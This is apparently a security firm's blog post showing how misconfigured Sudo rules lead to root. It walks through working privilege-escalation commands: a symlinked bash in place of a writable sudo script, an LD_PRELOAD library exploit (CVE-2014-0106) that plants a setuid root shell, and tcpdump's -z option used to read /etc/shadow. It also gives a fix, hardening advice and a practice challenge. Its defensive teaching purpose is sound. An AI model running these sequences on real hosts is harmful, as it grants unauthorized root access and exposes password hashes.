How I got root with Sudo

Introduction

During security engagements, we regularly come across servers configured with the privilege management software Sudo. As with any software, the principle of least privilege must be closely followed, users must be granted the minimum possible privileges to perform necessary tasks or operations. Therefore to securely configure Sudo, user accounts must be restricted to a limited set of commands that they can legitimately execute with elevated privileges (usually those of the root account).

Out in the real world, we don't often see Sudo configured according to the principle of least privilege. But when we do, we always uncover a mistake or two that allows us to escalate our privileges to root, at which point it's game over. We win.

The purpose of this post is to present a series of examples of common mistakes and insecure configurations that we have seen and leveraged on production environments during security assessments and how you can make our team's life that little bit harder.

Insecure File System Permissions

Consider the following Sudo configuration for our fictitious user account "appadmin":

```
$ sudo -l

[sudo] password for appadmin:

User appadmin may run the following commands on this host:

    (root) /opt/Support/start.sh, (root) /opt/Support/stop.sh,

    (root) /opt/Support/restart.sh, (root) /usr/sbin/lsof
```

It all looks good so far. So let's have a look at these scripts:

```
$ ls -l /opt/Support/

total 4
```

```
-rwxr-xr-x 1 root     root     37 Oct  3 14:06 restart.sh

-rwxr-xr-x 1 appadmin appadmin 53 Oct  3 14:03 start.sh

$ ls -ld /opt/Support

drwxr-xr-x 2 appadmin appadmin 4096 Oct  3 13:58 /opt/Support
```

Don't these file and directory permissions look interesting? We have several options to escalate our privileges here, we could either:

1. Create the non-existent file "stop.sh"
2. Modify the existing file "start.sh"
3. Move the file "restart.sh" and create another file with the same filename

Here is a demonstration of the third option:

```
$ mv /opt/Support/restart.sh{,.bak}

$ ln -s /bin/bash /opt/Support/restart.sh

$ sudo /opt/Support/restart.sh

[sudo] password for appadmin:

# id

uid=0(root) gid=0(root) groups=0(root)
```

Game over! :)

Environment Variables

Consider the following Sudo configuration for our user account "monitor":

```
$ sudo -l

[sudo] password for monitor:

Matching Defaults entries for monitor on this host:

    !env_reset

User monitor may run the following commands on this host:
```

```
    (root) /etc/init.d/sshd
```

The env_reset option is disabled! This means we can manipulate the environment of the command we are allowed to run. Depending on the Sudo version, we may be able to escalate our privileges by passing environment variables, as illustrated by the following well-known exploits:

- PS4 (breno)
- LD_PRELOAD (Kingcope or Sensepost)

Also keep in mind that there may be other dangerous environment variables that we could misuse (think of PERL5OPT, PYTHONINSPECT etc.).

It should be noted though, that even when env_reset is disabled, most dangerous environment variables are now safely removed by Sudo, based on a default hard-coded blacklist. Run “sudo -V” as root to see this blacklist under “Environment variables to remove”.

However, in Sudo < 1.8.5, we found that environment variables passed in on the command line are not removed even though they should be. Thus we can still escalate our privileges using for example the LD_PRELOAD technique, as demonstrated below on a fully up-to-date Red Hat Enterprise Linux 5.10 system (only missing the recent security update of course):

```
$ rpm -q sudo

sudo-1.7.2p1-28.el5

$ cat > xoxo.c <<'LUL'

#include <unistd.h>

#include <stdlib.h>


void _init()

{

 if (!geteuid()) {

   unsetenv("LD_PRELOAD");

   unlink("/tmp/libxoxo.so.1.0");

   setgid(0);
```

```
   setuid(0);
   execl("/bin/sh","sh","-c","cp /bin/bash /tmp/.bash; chown 0:0 /tmp/.bash;
/bin/chmod +xs /tmp/.bash",NULL);
 }
}
LUL
$ gcc -o xoxo.o -c xoxo.c -fPIC
$ gcc -shared -Wl,-soname,libxoxo.so.1 -o /tmp/libxoxo.so.1.0 xoxo.o -nostartfiles
$ sudo LD_PRELOAD=/tmp/libxoxo.so.1.0 /etc/init.d/sshd blaaah
[sudo] password for monitor:
$ /tmp/.bash -p -c 'id;head -n 1 /etc/shadow'
uid=500(monitor) gid=500(monitor) euid=0(root) egid=0(root) groups=500(monitor)
root:$1$VjDVB93E$AUL2Mg1L2gH70HHxh2CEr/:16128:0:99999:7:::
```

The bug is located on line 685 of the file sudo-1.8.4p5/plugins/sudoers/env.c, where a boolean comparison is performed incorrectly. The following patch fixes this issue:

```
--- sudo-1.8.4p5/plugins/sudoers/env.c  2012-03-30 04:37:01.000000000 +1100
+++ sudo-1.8.4p5-fixed/plugins/sudoers/env.c    2014-02-28 10:36:14.623915000 +1100
@@ -682,7 +682,7 @@
                okvar = matches_env_keep(*ep);
        } else {
            okvar = matches_env_delete(*ep) == false;
-           if (okvar == false)
+           if (okvar == true)
                okvar = matches_env_check(*ep) != false;
        }
        if (okvar == false) {
```

In Sudo 1.8.5, the affected code was actually changed and cleaned up which silently fixed the issue. As a result, in Sudo 1.8.5 and above, environment variables passed in on the command line are properly removed.

Note that RHEL 5.10 was vulnerable because it ships the 1.7.2p1 version (with every previous security patches applied) and similarly, RHEL 6.0 through 6.3 inclusive ship a version from the 1.7 branch. However RHEL 6.4 was not vulnerable because it ships the 1.8.6p3 version.

We responsibly disclosed this security issue to the vendor, and within a week, the vulnerability was assigned CVE-2014-0106, the details were made public and the 1.7.10p8 security fix was released. While security updates are being rolled out for the affected distributions, a simple workaround is to simply not disable env_reset, which is the default behaviour.

Escape to shell

Consider the following Sudo configuration for our user account “john”:

```
$ sudo -l

[sudo] password for john:

User john may run the following commands on this host:

    (root) /usr/sbin/tcpdump
```

In this case, john is able to capture network traffic. A perfectly legitimate task for a system administrator, so what could possibly go wrong? The “-z postrotate-command” option (introduced in tcpdump version 4.0.0), is worth knowing:

```
$ echo $'id\ncat /etc/shadow' > /tmp/.test

$ chmod +x /tmp/.test

$ sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root

[sudo] password for john:

tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes

Maximum file limit reached: 1
```

```
uid=0(root) gid=0(root) groups=0(root)

context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

root:$6$CnflBAm.SEqAN6Rz$rZhceJkWQlw1Dl1LaWltiT.cIhXyHtk5Ot2C7mMygrr7XBhJFzLkO8RKphzg

owaYUMJHiO2MB9oBRCKFQAWoz0:16138:0:99999:7:::

bin:*:15980:0:99999:7:::

...
```

Note that “-Z root” is required on RedHat-based distributions (Fedora, CentOS, etc.) as they patchthe tcpdump package to drop root privileges before handling savefiles.

So what can you do to protect yourself against Sudo abuse? Make sure you scrutinise every program that a user is allowed to run with elevated privileges as there may be ways for users to break out to a nice # prompt. For example, programs such as vi or less, that allow users to invoke arbitrary shell commands (with ! or similar), should be replaced with their more secure counterparts, rvim and cat respectively.

Keen to practice this? Have a go at the following challenge and find out how to pop a root shell. There are at least two ways that we could think of, but one is more intrusive than the other and will impact the system’s integrity. Leave a comment with your solution(s), we’ll publish ours and the most original submissions after a few weeks to not spoil the fun. The environment is just a standard CentOS 6.5 system, the zip package being the only post “default” install addition.

```
$ cat /usr/local/bin/extract_docs.sh

#!/bin/bash

zip -U /root/original-docs.zip -O /var/lib/extracted-docs.zip "$@"

$ ls -ld /root/original-docs.zip /usr/local/bin/ /usr/local/bin/extract_docs.sh

/var/lib/ /var/lib/extracted-docs.zip

ls: cannot access /root/original-docs.zip: Permission denied

drwxr-xr-x.  2 root root 4096 Mar 12 17:02 /usr/local/bin/

-rwxr-xr-x.  1 root root   80 Mar 12 17:02 /usr/local/bin/extract_docs.sh

drwxr-xr-x. 15 root root 4096 Mar 12 17:02 /var/lib/

-rw-r--r--.  1 root root  964 Mar 12 17:02 /var/lib/extracted-docs.zip
```

```
$ rpm -q zip

zip-3.0-1.el6.x86_64

$ sudo -l

[sudo] password for kevin:

Matching Defaults entries for kevin on this host:

    requiretty, !visiblepw, always_set_home, env_reset, env_keep="COLORS DISPLAY

HOSTNAME HISTSIZE INPUTRC KDEDIR

    LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",

env_keep+="LC_COLLATE

    LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME

LC_NUMERIC LC_PAPER

    LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET

XAUTHORITY",

    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin


User kevin may run the following commands on this host:

    (root) /usr/local/bin/extract_docs.sh
```

Thanks for reading, now get your thinking caps on!